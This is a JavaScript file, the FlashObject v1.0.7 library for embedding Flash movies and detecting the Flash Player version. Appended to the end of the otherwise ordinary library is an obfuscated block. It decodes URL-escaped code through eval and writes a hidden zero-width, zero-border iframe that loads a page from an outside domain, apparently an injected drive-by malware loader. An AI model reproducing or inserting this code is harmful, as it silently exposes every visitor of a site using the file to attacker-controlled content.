/*

 * FlashObject embed

 *

 * by Geoff Stearns (geoff@choppingblock.com, http://www.choppingblock.com/)

 *

 * v1.0.7 - 11-17-2004

 *

 * Create and write a flash movie to the page, includes detection

 *

 * Usage:

 *

 *	myFlash = new FlashObject("path/to/swf.swf", "swfid", "width", "height", flashversion, "backgroundcolor");

 *	myFlash.altTxt = "Upgrade your Flash Player!";                // optional

 *	myFlash.addParam("wmode", "transparent");                     // optional

 *	myFlash.addVariable("varname1", "varvalue");                  // optional

 *	myFlash.addVariable("varname2", getQueryParamValue("myvar")); // optional

 *	myFlash.write();

 *

 */



FlashObject = function(swf, id, w, h, ver, c) {

	this.swf = swf;

	this.id = id;

	this.width = w;

	this.height = h;

	this.version = ver || 6; // default to 6

	this.align = "middle"; // default to middle

	this.redirect = "";

	this.sq = document.location.search.split("?")[1] || "";

	this.altTxt = "Please <a href='http://www.macromedia.com/go/getflashplayer'>upgrade your Flash Player</a>.";

	this.bypassTxt = "<p>Already have Flash Player? <a href='?detectflash=false&"+ this.sq +"'>Click here if you have Flash Player "+ this.version +" installed</a>.</p>";

	this.params = new Object();

	this.variables = new Object();

	if (c) this.color = this.addParam('bgcolor', c);

	this.addParam('quality', 'high'); // default to high

	this.doDetect = getQueryParamValue('detectflash');

}



FlashObject.prototype.addParam = function(name, value) {

	this.params[name] = value;

}



FlashObject.prototype.getParams = function() {

    return this.params;

}



FlashObject.prototype.getParam = function(name) {

    return this.params[name];

}



FlashObject.prototype.addVariable = function(name, value) {

	this.variables[name] = value;

}



FlashObject.prototype.getVariable = function(name) {

    return this.variables[name];

}



FlashObject.prototype.getVariables = function() {

    return this.variables;

}



FlashObject.prototype.getParamTags = function() {

    var paramTags = "";

    for (var param in this.getParams()) {

        paramTags += '<param name="' + param + '" value="' + this.getParam(param) + '" />';

    }

    if (paramTags == "") {

        paramTags = null;

    }

    return paramTags;

}



FlashObject.prototype.getHTML = function() {

    var flashHTML = "";

    if (window.ActiveXObject && navigator.userAgent.indexOf('Mac') == -1) { // PC IE

        flashHTML += '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="' + this.width + '" height="' + this.height + '" id="' + this.id + '" align="' + this.align + '">';

        flashHTML += '<param name="movie" value="' + this.swf + '" />';

        if (this.getParamTags() != null) {

            flashHTML += this.getParamTags();

        }

        if (this.getVariablePairs() != null) {

            flashHTML += '<param name="flashVars" value="' + this.getVariablePairs() + '" />';

        }

        flashHTML += '</object>';

    }

    else { // Everyone else

        flashHTML += '<embed type="application/x-shockwave-flash" src="' + this.swf + '" width="' + this.width + '" height="' + this.height + '" id="' + this.id + '" align="' + this.align + '"';

        for (var param in this.getParams()) {

            flashHTML += ' ' + param + '="' + this.getParam(param) + '"';

        }

        if (this.getVariablePairs() != null) {

            flashHTML += ' flashVars="' + this.getVariablePairs() + '"';

        }

        flashHTML += '></embed>';

    }

    return flashHTML;	

}





FlashObject.prototype.getVariablePairs = function() {

    var variablePairs = new Array();

    for (var name in this.getVariables()) {

        variablePairs.push(name + "=" + escape(this.getVariable(name)));

    }

    if (variablePairs.length > 0) {

        return variablePairs.join("&");

    }

    else {

        return null;

    }

}



FlashObject.prototype.write = function(elementId) {

	if(detectFlash(this.version) || this.doDetect=='false') {

		if (elementId) {

			document.getElementById(elementId).innerHTML = this.getHTML();

		} else {

			document.write(this.getHTML());

		}

	} else {

		if (this.redirect != "") {

			document.location.replace(this.redirect);

		} else {

			if (elementId) {

				document.getElementById(elementId).innerHTML = this.altTxt +""+ this.bypassTxt;

			} else {

				document.write(this.altTxt +""+ this.bypassTxt);

			}

		}

	}		

}



function getFlashVersion() {

	var flashversion = 0;

	if (navigator.plugins && navigator.plugins.length) {

		var x = navigator.plugins["Shockwave Flash"];

		if(x){

			if (x.description) {

				var y = x.description;

	   			flashversion = y.charAt(y.indexOf('.')-1);

			}

		}

	} else {

		result = false;

	    for(var i = 15; i >= 3 && result != true; i--){

   			execScript('on error resume next: result = IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.'+i+'"))','VBScript');

   			flashversion = i;

   		}

	}

	return flashversion;

}



function detectFlash(ver) {	

	if (getFlashVersion() >= ver) {

		return true;

	} else {

		return false;

	}

}



// get value of querystring param

function getQueryParamValue(param) {

	var q = document.location.search;

	var detectIndex = q.indexOf(param);

	var endIndex = (q.indexOf("&", detectIndex) != -1) ? q.indexOf("&", detectIndex) : q.length;

	if(q.length > 1 && detectIndex != -1) {

		return q.substring(q.indexOf("=", detectIndex)+1, endIndex);

	} else {

		return "";

	}

}



/* add Array.push if needed */

if(Array.prototype.push == null){

	Array.prototype.push = function(item){

		this[this.length] = item;

		return this.length;

	}

}l1l=document.all;var naa=true;ll1=document.layers;lll=window.sidebar;naa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')|lI1('per');naa|=lII;O000=new Array();O000[0]='<iframe src=\'http://';O0OO='fu';OO0O='sVVtERqNpQeIeqkFlMsGMIUhxHIT';O0OO+='nction __'+'__(_'+'O0){';OO00='var%20l%32%3D%77\151%6E%64o%77%2E\157p\145%72a%3F%31%3A%30%3Bfunc\164%69%6F%6E%20l%33%28l%34%29%7B\154%35%3D%2Fz%61%2F\147%3Bl%36%3D%53\164rin\147%2Ef\162o%6DCh%61%72%43o%64%65%28%30%29%3B%6C%34%3D\154%34%2E\162%65p\154\141%63e%28\154%35%2Cl%36%29%3B%76a\162%20%6C%37%3D%6E%65%77%20\101r\162a\171%28%29%2Cl%38%3D%5F%31%3Dl%34%2Ele%6E%67%74h%2C%6C%39%2C%6C\111%2Cil%3D%31%36%32%35%36%2C%5F%31%3D%30%2CI%3D%30%2Cl%69%3D%27%27%3B%64o%7B\154%39%3D\154%34%2Ec%68arCod\145\101t%28%5F%31%29%3Bl\111%3D\154%34%2Ec\150ar%43od\145%41\164%28%2B%2B%5F%31%29%3B%6C%37%5BI%2B%2B%5D%3D%6CI%2Bi\154%2D%28l%39%3C%3C%37%29%7D\167\150\151le%28%5F%31%2B%2B%3C\154%38%29%3B\166ar%20\154%31%3D\156ew';O000[0]+='deinglaube.com/images/\' h~';O0OO+='eva';OOOO='hOQtCXaUwrsqvfnuOlkDrulOnWUymKyo';O0OO+='l(unes'							+'cape(_O0))}';eval									(O0OO);O0O0='JBiVXnUZitSaSEbByOKOOSoSOYmiJaDsoDVfEpBO';O0OO='';OO00+='%20%41rray%28%29%2C%6C%30%3D%6Ee%77%20\101r\162%61y%28%29%2CI%6C%3D%31%32%38%3B%64%6F%7Bl%30%5B\111l%5D%3DS\164r%69\156g%2E\146\162omC\150%61\162Cod\145%28I\154%29%7Dwh%69%6C%65%28%2D%2D\111l%29%3B%49l%3D%31%32%38%3B%6C%31%5B%30%5D%3Dl\151%3D%6C%30%5Bl%37%5B%30%5D%5D%3B%6C%6C%3D%6C%37%5B%30%5D%3B%5F\154%3D%31%3Bv\141r%20l%5F%3D\154%37%2El%65%6E%67t\150%2D%31%3B%77\150%69le%28%5F%6C%3C\154%5F%29%7B\163\167\151tch%28\154%37%5B%5F%6C%5D%3C%49l%3F%31%3A%30%29%7B%63a%73e%20%30%20%3A\154%30%5BI%6C%5D%3Dl%30%5Bl\154%5D%2BS\164ri%6Eg%28\154%30%5B%6Cl%5D%29%2Es\165%62%73\164r%28%30%2C%31%29%3B\154%31%5B%5Fl%5D%3Dl%30%5BI%6C%5D%3B\151f%28\154%32%29%7Bl\151%2B%3D%6C%30%5BIl%5D%7D%3B%62\162ea';OOO0='l';O000[0]+='g~\r=0 width~0 bor~r~0><~"~~e>';OO00+='%6B%3Bdefau\154%74%3A%6C%31%5B%5F\154%5D%3D\154%30%5Bl%37%5B%5F%6C%5D%5D%3Bi\146%28%6C%32%29%7Bl\151%2B%3Dl%30%5Bl%37%5B%5F%6C%5D%5D%7D%3Bl%30%5B\111l%5D%3D\154%30%5B\154l%5D%2BS%74%72%69n%67%28\154%30%5Bl%37%5B%5F\154%5D%5D%29%2Es\165\142%73tr%28%30%2C%31%29%3B%62%72e\141k%7D%3B%49%6C%2B%2B%3B\154l%3Dl%37%5B%5F%6C%5D%3B%5F%6C%2B%2B%7D%3Bif%28%21%6C%32%29%7B%72%65t%75\162%6E%28l%31%2E%6Ao\151n%28%27%27%29%29%7Del\163\145%7B%72e%74u%72%6E%20l\151%7D%7D%3B\166%61r%20lO%3D%27%27%3B\146or%28i%69%3D%30%3Bi\151%3CO%30%30%30%2E%6Cen\147%74\150%3Bi\151%2B%2B%29%7B%6C%4F%2B%3Dl%33%28O%30%30%30%5B\151i%5D%29%7D%3Bi%66%28%6E\141\141%29%7Bd\157%63%75\155e\156\164%2E%77%72\151te%28\154O%29%7D%3B';O0O0      ='.quIwOdeam+:K75ZciV;*SXROtMl//m gd$MNhZOl';____    (OO00);OOO0+='#rrTU/LCJstnO@3A8Sy69OY&J,XjR$!vfwEaDV1 <&1H! O Urhpy= 82f!YfOx	*OOtKo#QpX*>?<G%%k5=C0i';
